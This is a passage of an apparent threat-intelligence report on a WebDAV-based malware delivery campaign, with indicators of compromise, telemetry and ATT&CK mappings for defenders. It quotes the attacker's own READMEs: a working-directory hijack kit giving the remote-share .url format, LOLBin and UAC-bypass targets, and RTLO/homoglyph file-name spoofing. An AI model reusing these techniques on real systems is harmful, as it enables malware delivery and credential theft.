plugins for keylogging, screenshots, window monitoring, and C2 communication. Its keylogger module used plaintext keyword triggers for payment, banking, credit, and cryptocurrency activity, including </span><span><span data-type="inlineCode"><em>relaypayments.com</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>plaid</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>fiservapps</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>payoneer</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>google pay</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>coinbase</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Zelle</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>paypal</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>link.com</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>amazonrelay</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Exodus</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Electrum</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Bitcoin</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>monero</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Seed Phrase</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Seed</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>12</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>FCU</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Credit Union</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Account Overview</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Available Balance</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Merchant</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>online access</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>debit</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>credit</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>cvv</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>card</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>settlement</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>fees</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>loans</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>bank</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>banking</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>finance</em></span></span><span><em>, and </em></span><span><span data-type="inlineCode"><em>invest</em></span></span><span><em>. </em></span></p><p><span>The RAT also targeted browser wallet-extension artifacts and Chrome user data, including cookies and saved login data.</span></p><p><span>The two chains used different payloads and C2 infrastructure. In case study one, the stealer exfiltrated to </span><span><span data-type="inlineCode">77[.]110[.]127[.]205:56003</span></span><span>, while in the case study two stealer chain communicated with </span><span><span data-type="inlineCode">23[.]94[.]252[.]228:57666</span></span><span>. Based on our observations, the final RAT payload in both chains was identified as .NET-based PureRAT.</span></p><h3>GenAI adoption</h3><p><span>Several artifacts make it clear the attacker certainly used LLMs to build and iterate this operation. The directory is packed with structured README files, neatly formatted lure-generation guides, detailed test writeups, and matrix-style outputs that look exactly like templated or generated content. </span></p><p><span></span></p><pre language="c">═══════════════════════════════════════════════════════════════════
  WORKING DIRECTORY HIJACKING — COMPREHENSIVE TEST KIT
  for Windows 11 24H2
═══════════════════════════════════════════════════════════════════

This kit contains 59 .url files targeting different Windows binaries
that POTENTIALLY have the same Working Directory hijacking issue as
CVE-2025-33053 (Stealth Falcon, iediagcmd.exe).

ALL .url files use this exact format (same as the real APT attack):
  [InternetShortcut]
  URL=C:\path\to\target.exe         &lt;- legitimate binary
  WorkingDirectory=\\[REDACTED]@80\Downloads   &lt;- WebDAV (triggers WebClient!)
  ShowCommand=7                     &lt;- start minimized (hide alert windows)
  IconIndex=13                      &lt;- (decoy icon)
  IconFile=msedge.exe               &lt;- (decoy icon)

═══════════════════════════════════════════════════════════════════
HOW TO TEST (5 minutes)
═══════════════════════════════════════════════════════════════════

STEP 1: Upload ALL files from WEBDAV_PAYLOADS/ folder to:
        \\[REDACTED]\Downloads\
        (59 test files - each is 5KB MessageBox popup exe)

STEP 2: Copy I_LOLBIN_URLS/ folder to your Win11 24H2 machine

STEP 3: Double-click .url files one by one (or all of them in sequence)
        - If popup appears -&gt; HIJACK WORKS! Read parent process name in popup.
        - If nothing happens / error -&gt; doesn't work, move to next.

STEP 4: Tell me which I-numbers showed a popup. I'll integrate working
        ones as new methods in web-renamer.

═══════════════════════════════════════════════════════════════════
PRIORITY TESTING ORDER (most likely to work first)
═══════════════════════════════════════════════════════════════════

TIER 1 - CONFIRMED IN THE WILD:
  I01_iediagcmd.url           - CVE-2025-33053 (needs pre-June 2025 patch)
  I02_CustomShellHost.url     - CheckPoint research (may not exist on Server)

TIER 2 - .NET FRAMEWORK TOOLS (always installed if .NET 4.x present):
  I03_InstallUtil.url         - InstallUtilLib.dll search
  I04_RegAsm.url              - .NET registration
  I05_RegSvcs.url             - .NET services
  I06_CasPol.url              - .NET security policy
  I07_ngentask.url            - NGen native compile (calls ngen.exe!)
  I08_AddInUtil.url           - AddIn util (calls AddInProcess.exe!)
  I10_dfsvc.url               - ClickOnce service
  I15_csc.url                 - C# compiler (may call link.exe)
  I16_vbc.url                 - VB compiler

TIER 3 - WIN11 SYSTEM .NET TOOLS:
  I17_LbfoAdmin.url           - NIC teaming admin
  I19_UevAgentPolicyGenerator.url - UE-V agent (calls .ps1 files!)
  I20_UevAppMonitor.url       - UE-V monitor
  I23_AppVStreamingUX.url     - App-V streaming UI

TIER 4 - LOLBAS Execute-EXE binaries:
  I26_Pcwrun.url              - LOLBAS Execute(EXE)
  I28_WorkFolders.url         - LOLBAS Execute(EXE,Rename)
  I33_stordiag.url            - LOLBAS Execute(EXE) - calls systeminfo etc
  I36_Provlaunch.url          - LOLBAS Execute(CMD) - calls provtool.exe!

TIER 5 - UAC bypass binaries (worth testing):
  I49_fodhelper.url, I50_computerdefaults.url, I52_wsreset.url

═══════════════════════════════════════════════════════════════════
THE THEORY (so you understand WHY this works for some and not others)
═══════════════════════════════════════════════════════════════════

For the attack to succeed, the LOLBin must:
  1. Be a .NET application, OR call ShellExecute/CreateProcess with bare
     name (no full path).
  2. Spawn a child process by NAME (e.g. "ipconfig.exe") not by full path
     (e.g. "C:\Windows\System32\ipconfig.exe").
  3. Be runnable without command-line args.

If ANY of these is false, the hijack fails. Microsoft has been patching
specific binaries (iediagcmd.exe in June 2025) but the general pattern
remains. New vulnerable binaries are discovered regularly.

═══════════════════════════════════════════════════════════════════
WHAT THE POPUP TELLS YOU
═══════════════════════════════════════════════════════════════════

When hijack works, you'll see:
  TEST OK - Working Directory Hijack SUCCESS

  Executed as: route.exe                              &lt;- which name was hijacked
  Full path: \\[REDACTED]@80\Downloads\route.exe    &lt;- ran from WebDAV!
  Working dir: \\[REDACTED]@80\Downloads
  Parent process: iediagcmd                           &lt;- which LOLBin spawned it

═══════════════════════════════════════════════════════════════════
NOTES
═══════════════════════════════════════════════════════════════════

* Some I-files may target binaries that DON'T EXIST on your Win11 24H2
  (e.g. I02_CustomShellHost was missing on my test Server 2025).
  These will silently fail - just move on.

* Some I-files may launch the GUI tool (msconfig, dxdiag, etc.) WITHOUT
  triggering any hijack. That's fine - if no popup appears, no hijack.

* See _MAPPING.csv for full mapping of each .url to its target binary
  and expected child process names.</pre><p><span><em>Figure 7: Context of README.md found in the exposed directory.</em></span><em><br></em><br><span>The attacker left a build-time artifact inside the </span><span><span data-type="inlineCode">generate_test_lnk.ps1</span></span><span> output. The output directory is hardcoded in the </span><span><span data-type="inlineCode">$outDir</span></span><span> variable and exposes part of the attacker’s local project tree:</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5f481d0cd28d6929/6a5e17f7b52ffd407785a683/Hardcoded-%24outDir-path.png" alt="Hardcoded-$outDir-path.png" caption="Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Hardcoded-$outDir-path.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5f481d0cd28d6929/6a5e17f7b52ffd407785a683/Hardcoded-$outDir-path.png" data-sys-asset-uid="blt5f481d0cd28d6929" data-sys-asset-filename="Hardcoded-$outDir-path.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree." data-sys-asset-alt="Hardcoded-$outDir-path.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree.</figcaption></div></figure><p>⠀<em><br></em><span>It is therefore apparent that the entire campaign was likely created using the </span><a href="https://github.com/Akash-nath29/Coderrr" target="_blank"><span>CodeRRR project</span></a><span> with the help of LLM to assist with code generation and campaign development.</span></p><p><span>Another file we found in the directory was </span><span><span data-type="inlineCode">Simba_Service_Presentation.htm</span></span><span>, which appeared to document an attacker-controlled WebDAV delivery/admin panel. The panel also seems to have been generated with LLM assistance, based on its presentation-style formatting, API-documentation structure, emojis, and implementation details.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8a0d6970395b2772/6a5e18471d6cdc8240fb0a26/Simba-server-screenshot-panel.png" alt="Simba-server-screenshot-panel.png" caption="Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-server-screenshot-panel.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8a0d6970395b2772/6a5e18471d6cdc8240fb0a26/Simba-server-screenshot-panel.png" data-sys-asset-uid="blt8a0d6970395b2772" data-sys-asset-filename="Simba-server-screenshot-panel.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture." data-sys-asset-alt="Simba-server-screenshot-panel.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture.</figcaption></div></figure><p>⠀</p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3c958992fad5cb62/6a5e18d6f480d88e07286a8a/Simba-server-system-requirements.png" alt="Simba-server-system-requirements.png" caption="Figure 10: Simba service system requirements." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-server-system-requirements.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3c958992fad5cb62/6a5e18d6f480d88e07286a8a/Simba-server-system-requirements.png" data-sys-asset-uid="blt3c958992fad5cb62" data-sys-asset-filename="Simba-server-system-requirements.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 10: Simba service system requirements." data-sys-asset-alt="Simba-server-system-requirements.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 10: Simba service system requirements.</figcaption></div></figure><p>⠀</p><p><span>The most telling artifact was a “comprehensive test kit” that expanded the single CVE-2025-33053 technique into 59 </span><span><span data-type="inlineCode">.url</span></span><span> files targeting different Windows binaries, such as .NET tools (</span><span><span data-type="inlineCode">InstallUtil</span></span><span>, </span><span><span data-type="inlineCode">RegAsm</span></span><span>, </span><span><span data-type="inlineCode">RegSvcs</span></span><span>, </span><span><span data-type="inlineCode">ngentask</span></span><span>), system utilities, LOLBAS execute-EXE binaries, and even UAC-bypass candidates. Each file was paired with a stated theory of why the working-directory hijack should work and a priority order for testing.</span></p><p><span>The directory was saturated with structured README files, neatly formatted lure-generation guides, matrix-style test write-ups, emoji-heavy admin-panel documentation, and a </span><span><span data-type="inlineCode">_MAPPING.csv</span></span><span> tying each test file to its target binary and expected child process. The consistency, verbosity, and sheer volume of organized artifacts led us to conclude that the attacker likely used an LLM-assisted workflow to do much of the heavy lifting around documentation, structure, and iteration.</span></p><p></p><pre language="c"># LNK Full Matrix Test — WebDAV Open Methods + Deception Techniques

**Location:** `C:\Users\Administrator\Desktop\LNK-Full-Matrix-Test`  
**Total files:** 60  
**Generated:** 2026-05-30

---

## Overview / Обзор

This folder contains a complete test matrix of **60 LNK shortcut files** combining all available WebDAV open methods with all LNK Deception Techniques supported by the Web-renamer project.

В этой папке находится полная тестовая матрица из **60 LNK-ярлыков**, объединяющих все доступные WebDAV-методы открытия со всеми техниками обмана LNK, поддерживаемыми проектом Web-renamer.

---

## Naming Scheme / Схема именования

All files follow the pattern:  
Все файлы следуют шаблону:

```
HyperPackSetup.&lt;method&gt;.&lt;trick&gt;.&lt;spoof&gt;.lnk
```

- **`HyperPackSetup`** — base filename / базовое имя файла
- **`&lt;method&gt;`** — WebDAV open method (e.g. `curl-http-temp-run`, `direct`, `cmd-start`) / метод открытия WebDAV
- **`&lt;trick&gt;`** — LNK deception technique (`standard`, `SPOOFEXE_HIDEARGS_DISABLETARGET`, etc.) / техника обмана LNK
- **`&lt;spoof&gt;`** — RTLO + homoglyph extension spoof (`‮ƒｄᴘ`) — visually appears as `.pdf` / спуф расширения через RTLO + гомоглифы — визуально выглядит как `.pdf`
- **`.lnk`** — real extension / реальное расширение

&gt; The spoof is applied **only to the extension** at the end, so the method and trick names remain clearly readable.  
&gt; Спуф применяется **только к расширению** в конце имени, поэтому названия методов и техник остаются читаемыми.
...</pre><p><span><em>Figure 11: This is a snippet from another </em></span><span><span data-type="inlineCode"><em>README.md</em></span></span><span><em>. The full README is available on Rapid7 Labs' </em></span><a href="https://github.com/rapid7/Rapid7-Labs/tree/main/IOCs/Simba%20Panel" target="_blank"><span><em>Github</em></span></a><span><em>. The text is original, and the translation to Russian was not added by us.</em></span></p><h3>OPSEC is hard </h3><p><span>As we mentioned previously, one of the artifacts we found in the open directory was a presentation file documenting a WebDAV delivery/admin panel called “Simba Service.”</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte7a569d4a484149e/6a5e199e1abad5303f7de1ad/simba-service-presentation.png" alt="simba-service-presentation.png" caption="Figure 12: Simba service presentation." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="simba-service-presentation.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte7a569d4a484149e/6a5e199e1abad5303f7de1ad/simba-service-presentation.png" data-sys-asset-uid="blte7a569d4a484149e" data-sys-asset-filename="simba-service-presentation.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 12: Simba service presentation." data-sys-asset-alt="simba-service-presentation.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 12: Simba service presentation.</figcaption></div></figure><p>⠀</p><p><span>The panel was built to manage a read-only WebDAV file share and track delivery activity in real time, including file opens, visitor IPs, geolocation, Windows versions, traffic, errors, folder-level conversion, and access events.</span></p><p><span>The actor not only used the same server for testing and staging files, but also recklessly left behind internal documentation for the backend used to manage and track delivery. The presentation reads like an internal build document, walking through the architecture, tech stack, API endpoints, authentication, logging, analytics, bug fixes, deployment setup, and panel access flow. It also included the panel IP and port, along with credentials.</span></p><p><span>Additionally, the file also looked like it was generated with an LLM. Its structured project overview, emoji-heavy sections, API-documentation format, and implementation details stood out. Basically, in some subfolders you can find LLM-generated READMEs with lures and malicious executables, while in another subfolder there is an admin panel with a hardcoded IP, port, and credentials.</span></p><p><span>We are intentionally withholding live access details, credentials, IP addresses, ports, and panel locations.</span></p><h3>Delivery panel overview</h3><p><span>The attacker appeared to have deployed the panel as-is, without changing the default password or port. The panel included several operator-facing sections: Review, Folders, Files, Visitors, Geography, Traffic/Server, Notes, File Manager, Users, Link Builder, Safety, and Documentation.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt20dc8a76cc4cdc10/6a5e1a005e34b09034dfd8cd/simba-service-page-with-blocking-capabilities_.png" alt="simba-service-page-with-blocking-capabilities_.png" caption="Figure 13: Simba service page with blocking capabilities." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt20dc8a76cc4cdc10/6a5e1a005e34b09034dfd8cd/simba-service-page-with-blocking-capabilities_.png" data-sys-asset-uid="blt20dc8a76cc4cdc10" data-sys-asset-filename="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 13: Simba service page with blocking capabilities." data-sys-asset-alt="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 13: Simba service page with blocking capabilities.</figcaption></div></figure><p>⠀</p><p><span>The portal was capable of detecting scanners and bots by analyzing behavioral indicators, including requests for non-existent resources, HTTP 404 responses, WebDAV probes, and directory enumeration attempts. Based on these observations, it assigned a risk score to each IP address and allowed the operator to manually block flagged hosts. Portal records indicate that the blocking configuration was modified at least 3 times during the campaign (June 5, June 10, and June 20).</span></p><p><span>We analyzed telemetry from the WebDAV delivery service over an approximately 5.5-day window (June 20–26, 2026 UTC), which recorded 77,098 requests from 3,892 unique client IPs across 101 countries, with roughly 45.9 GB transferred.</span></p><p><span>The activity was short-lived and high-volume, peaking between June 21 and June 24 before dropping sharply. Based on this data we can assume that it was a targeted delivery campaign.</span></p><p><span>Most of the launch activity came from one specific lure: a CURP-themed fake PDF report under the </span><span><span data-type="inlineCode">/Downloads/CURP/ReportFinal.rcs.pdf</span></span><span> (RTLO-spoofed </span><span><span data-type="inlineCode">.scr</span></span><span> executable.) Out of 2,441 observed executable launch events, 2,384, or approximately 97.7%, were tied to this lure. It accounted for approximately 14.6 GB of traffic and was accessed by 1,869 unique client IPs.</span></p><p><span>The WebDAV traffic was heavily concentrated in Mexico. Mexico generated 63,622 requests, representing 82.5% of all traffic, and 2,365 launch events, or approximately 96.9% of all observed launches. The next largest sources of traffic, including the United States and Germany, produced far fewer launch events and appeared more consistent with scanning, research, or automated retrieval.</span></p><p><em></em></p><table><colgroup data-width="1250"><col><col><col><col><col></colgroup><tbody><tr><td><p><span><strong>Country</strong></span></p></td><td><p><span><strong>Requests</strong></span></p></td><td><p><span><strong>Share of requests</strong></span></p></td><td><p><span><strong>Unique client IPs</strong></span></p></td><td><p><span><strong>Launch events</strong></span></p></td></tr><tr><td><p><span>Mexico</span></p></td><td><p><span>63,622</span></p></td><td><p><span>82.5%</span></p></td><td><p><span>2,698</span></p></td><td><p><span>2,365</span></p></td></tr><tr><td><p><span>United States</span></p></td><td><p><span>4,032</span></p></td><td><p><span>5.2%</span></p></td><td><p><span>463</span></p></td><td><p><span>47</span></p></td></tr><tr><td><p><span>Germany</span></p></td><td><p><span>2,751</span></p></td><td><p><span>3.6%</span></p></td><td><p><span>59</span></p></td><td><p><span>1</span></p></td></tr><tr><td><p><span>United Kingdom</span></p></td><td><p><span>645</span></p></td><td><p><span>0.8%</span></p></td><td><p><span>40</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Netherlands</span></p></td><td><p><span>532</span></p></td><td><p><span>0.7%</span></p></td><td><p><span>49</span></p></td><td><p><span>1</span></p></td></tr><tr><td><p><span>France</span></p></td><td><p><span>407</span></p></td><td><p><span>0.5%</span></p></td><td><p><span>21</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Finland</span></p></td><td><p><span>401</span></p></td><td><p><span>0.5%</span></p></td><td><p><span>6</span></p></td><td><p><span>10</span></p></td></tr><tr><td><p><span>Brazil</span></p></td><td><p><span>343</span></p></td><td><p><span>0.4%</span></p></td><td><p><span>41</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Republic of Korea</span></p></td><td><p><span>312</span></p></td><td><p><span>0.4%</span></p></td><td><p><span>16</span></p></td><td><p><span>1</span></p></td></tr></tbody></table><p><span><em>Table 3: Geographic distribution of WebDAV delivery activity.</em></span></p><p><span><em></em></span></p><p><span>Mexico was not only the largest source of traffic, but also the source of nearly all observed launch activity. Within Mexico, the activity was geographically broad, spanning hundreds of cities rather than clustering around a single locality. The top five Mexican cities accounted for approximately 27.4% of Mexican launch events, with Mexico City alone accounting for approximately 15.7%.</span></p><p><span>Hourly requests to the WebDAV delivery service also supported the assessment that much of the traffic came from real user interaction rather than only automated internet scanners. Traffic peaked between 16:00 and 19:00 UTC, which corresponds to working hours in central Mexico.</span></p><p><span>By launch events, we mean cases where the WebDAV panel showed that a client opened or requested an executable file in a way that looked like an attempted run, such as a </span><span><span data-type="inlineCode">GET</span></span><span> request for an </span><span><span data-type="inlineCode">.scr</span></span><span> or </span><span><span data-type="inlineCode">.exe</span></span><span> file from the delivery share. This does not mean we confirmed malware execution on the endpoint. It means the delivery infrastructure saw the file being accessed or invoked.</span></p><h2>Protocol behavior</h2><p><span>The HTTP methods and status codes show how clients interacted with the WebDAV delivery service. </span><span><span data-type="inlineCode">PROPFIND</span></span><span> requests and </span><span><span data-type="inlineCode">207</span></span><span> responses indicate directory browsing, which is typical when Windows Explorer accesses a remote WebDAV location. </span><span><span data-type="inlineCode">GET</span></span><span> requests and </span><span><span data-type="inlineCode">200</span></span><span> responses show file retrieval, including executable files opened or requested from the share.</span></p><p><span></span></p><table><colgroup data-width="500"><col><col></colgroup><tbody><tr><td><p><span><strong>Method</strong></span></p></td><td><p><span><strong>Count</strong></span></p></td></tr><tr><td><p><span>PROPFIND</span></p></td><td><p><span>57,287</span></p></td></tr><tr><td><p><span>GET</span></p></td><td><p><span>13,088</span></p></td></tr><tr><td><p><span>OPTIONS</span></p></td><td><p><span>6,597</span></p></td></tr><tr><td><p><span>PROPPATCH</span></p></td><td><p><span>125</span></p></td></tr><tr><td><p><span>LOCK</span></p></td><td><p><span>1</span></p></td></tr></tbody></table><p><span><em>Table 4: HTTP methods observed in WebDAV delivery traffic.</em></span></p><p><span><em></em></span></p><table><colgroup data-width="500"><col><col></colgroup><tbody><tr><td><p><span><strong>Status</strong></span></p></td><td><p><span><strong>Count</strong></span></p></td></tr><tr><td><p><span>207</span></p></td><td><p><span>57,412</span></p></td></tr><tr><td><p><span>200</span></p></td><td><p><span>19,532</span></p></td></tr><tr><td><p><span>206</span></p></td><td><p><span>154</span></p></td></tr></tbody></table><p><span><em>Table 5: HTTP status codes observed in WebDAV delivery traffic.</em></span></p><h2><span>MITRE ATT&amp;CK techniques</span></h2><table><colgroup data-width="1010"><col><col><col></colgroup><tbody><tr><td><p><span><strong>Name</strong></span></p></td><td><p><span><strong>MITRE ATT&amp;CK technique</strong></span></p></td><td><p><span><strong>Code</strong></span></p></td></tr><tr><td><p><span>Payload execution</span></p></td><td><p><span>User Execution: Malicious File</span></p></td><td><p><span>T1204.002</span></p></td></tr><tr><td><p><span>Masquerading</span></p></td><td><p><span>Right-to-Left Override</span></p></td><td><p><span>T1036.002</span></p></td></tr><tr><td><p><span>Masquerading</span></p></td><td><p><span>Double File Extension</span></p></td><td><p><span>T1036.007</span></p></td></tr><tr><td><p><span>DLL sideloading</span></p></td><td><p><span>Hijack Execution Flow: DLL</span></p></td><td><p><span>T1574.001</span></p></td></tr><tr><td><p><span>Obfuscation</span></p></td><td><p><span>Encrypted/Encoded File</span></p></td><td><p><span>T1027.013</span></p></td></tr><tr><td><p><span>Payload unpacking</span></p></td><td><p><span>Deobfuscate/Decode Files or Information</span></p></td><td><p><span>T1140</span></p></td></tr><tr><td><p><span>Payload carrier</span></p></td><td><p><span>Steganography / image-carried payload data</span></p></td><td><p><span>T1027.003</span></p></td></tr><tr><td><p><span>API hiding</span></p></td><td><p><span>Dynamic API Resolution</span></p></td><td><p><span>T1027.007</span></p></td></tr><tr><td><p><span>In-memory loading</span></p></td><td><p><span>Reflective Code Loading</span></p></td><td><p><span>T1620</span></p></td></tr><tr><td><p><span>Injection</span></p></td><td><p><span>Process Hollowing</span></p></td><td><p><span>T1055.012</span></p></td></tr><tr><td><p><span>Native API use</span></p></td><td><p><span>Native API</span></p></td><td><p><span>T1106</span></p></td></tr><tr><td><p><span>Sandbox evasion</span></p></td><td><p><span>Time Based Evasion</span></p></td><td><p><span>T1497.003</span></p></td></tr><tr><td><p><span>Anti-analysis</span></p></td><td><p><span>Debugger / instrumentation checks</span></p></td><td><p><span>T1622</span></p></td></tr><tr><td><p><span>UAC bypass</span></p></td><td><p><span>Bypass User Account Control</span></p></td><td><p><span>T1548.002</span></p></td></tr><tr><td><p><span>Persistence</span></p></td><td><p><span>Registry Run Keys / Startup Folder</span></p></td><td><p><span>T1547.001</span></p></td></tr><tr><td><p><span>Persistence</span></p></td><td><p><span>Scheduled Task</span></p></td><td><p><span>T1053.005</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Keylogging</span></p></td><td><p><span>T1056.001</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Screen Capture</span></p></td><td><p><span>T1113</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Clipboard Data</span></p></td><td><p><span>T1115</span></p></td></tr><tr><td><p><span>Credential access</span></p></td><td><p><span>Credentials from Web Browsers</span></p></td><td><p><span>T1555.003</span></p></td></tr><tr><td><p><span>Credential access</span></p></td><td><p><span>Steal Web Session Cookie</span></p></td><td><p><span>T1539</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Data from Local System</span></p></td><td><p><span>T1005</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Automated Collection</span></p></td><td><p><span>T1119</span></p></td></tr><tr><td><p><span>Staging</span></p></td><td><p><span>Archive Collected Data: Archive via Utility</span></p></td><td><p><span>T1560.001</span></p></td></tr><tr><td><p><span>C2</span></p></td><td><p><span>Encrypted Channel</span></p></td><td><p><span>T1573</span></p></td></tr><tr><td><p><span>Exfiltration</span></p></td><td><p><span>Exfiltration Over C2 Channel</span></p></td><td><p><span>T1041</span></p></td></tr><tr><td><p><span>Possible persistence</span></p></td><td><p><span>WMI Event Subscription</span></p></td><td><p><span>T1546.003</span></p></td></tr><tr><td><p><span>Phishing lure generation</span></p></td><td><p><span>Generate Phishing Lures</span></p></td><td><p><span>AML.T0052</span></p></td></tr><tr><td><p><span>Resource Development</span></p></td><td><p><span>Resource Development</span></p></td><td><p><span>AML.TA0003</span></p></td></tr><tr><td><p><span>Obtain capabilities via LLM tooling</span></p></td><td><p><span>Obtain Capabilities</span></p></td><td><p><span>AML.T0016</span></p></td></tr><tr><td><p><span>LLM-assisted capability development</span></p></td><td><p><span>Develop Capabilities</span></p></td><td><p><span> AML.T0017</span></p></td></tr><tr><td><p><span>LLM prompt crafting for attack documentation</span></p></td><td><p><span>LLM Prompt Crafting</span></p></td><td><p><span>AML.T0065</span></p></td></tr><tr><td><p><span>Obtain capabilities via tooling</span></p></td><td><p><span>Obtain Capabilities: Software Tools</span></p></td><td><p><span>AML.T0016.001</span></p></td></tr></tbody></table><h2><span>Indicators of compromise (IOCs)</span></h2><h3>CURP campaign</h3><p>Phishing page: hxxps://gobf[.]mx </p><p>WebDav server: onedrive[.]cv</p><p></p><p>ReportFinal.&lt;RLO&gt;.scr    SHA256 04A8018191F2E9E76072D072A933371D9D669A42DE2B2A087541CD3A653B0BA7</p><p></p><p>C2: 77.110.127.205 ports 56001-56003 / 57666 / 57777 / 57888</p><p>Domain: google.services[.]ug</p><p>Campaign tag:06x12x2026SantaEbash2  (v4.4.3)</p><p>Schedule tasks: brokerhost, net_queue_32</p><p></p><p>Staging paths:</p><p>%TEMP%\is-XXXXX.tmp\Fo-Binary.exe </p><p>%AppData%\Roaming\inttracer_i686_prod\      </p><p> C:\ProgramData\inttracer_i686_prod\</p><h3>DlrtyGames campaign </h3><p>C2: 23[.]94[.]252[.]228:57666</p><p>JA3: fc54e0d16d9764783542f0146a98b300</p><p>DlrtyGames.exe</p><p>SHA256: e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268</p><p>discord-rpc.x64.dll</p><p>SHA256: 449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df</p><p>profiler16.dll</p><p>SHA256: a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9</p><p>loader-pool.db</p><p>SHA256: 51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b</p><p>.NET RAT</p><p>SHA256: 82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923</p><p>Staging paths:</p><p>C:\ProgramData\basenet\</p><p>%APPDATA%\basenet\</p><p>Persistence:</p><p>HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW</p><p>\com_app_bg_i686</p><p>\messenger_component_v8_32_rc</p><p></p><p>More indicators of compromise can be found on Rapid7’s <a href="https://github.com/rapid7/Rapid7-Labs/tree/main/IOCs/Simba%20Panel" target="_blank">GitHub</a>.</p><h2>Rapid7 customers</h2><p>Customers using Rapid7’s Intelligence Hub gain direct access to all IOCs from this campaign, including any future indicators as they are identified.</p><h2>Conclusion</h2><p><span>The operator’s OPSEC failed in the best way possible for defenders. Thanks to a completely exposed server, we managed to pull down their entire operational toolkit: staged payloads, lure templates, testing files, builder notes, and active campaign artifacts. This sloppiness effectively offered a rare, transparent view of their end-to-end delivery pipeline rather than just the final malware it served.</span></p><p><span>The real impact shows up in speed and scale. The actor generated lure variants in bulk, tested them systematically, documented results, and refined delivery techniques in short cycles. The artifacts also suggested that attackers used LLM for rapid lure generation and development since their cPanel was vibecoded. </span></p><p><span>While the fact that attackers are adopting genAI in their workflows is nothing new, looking past the novelty reveals a much more practical shift in adversary operations.</span></p><p><span>The takeaway isn’t that “AI wrote the malware.” It’s that the attacker used LLMs to operate more like a modern 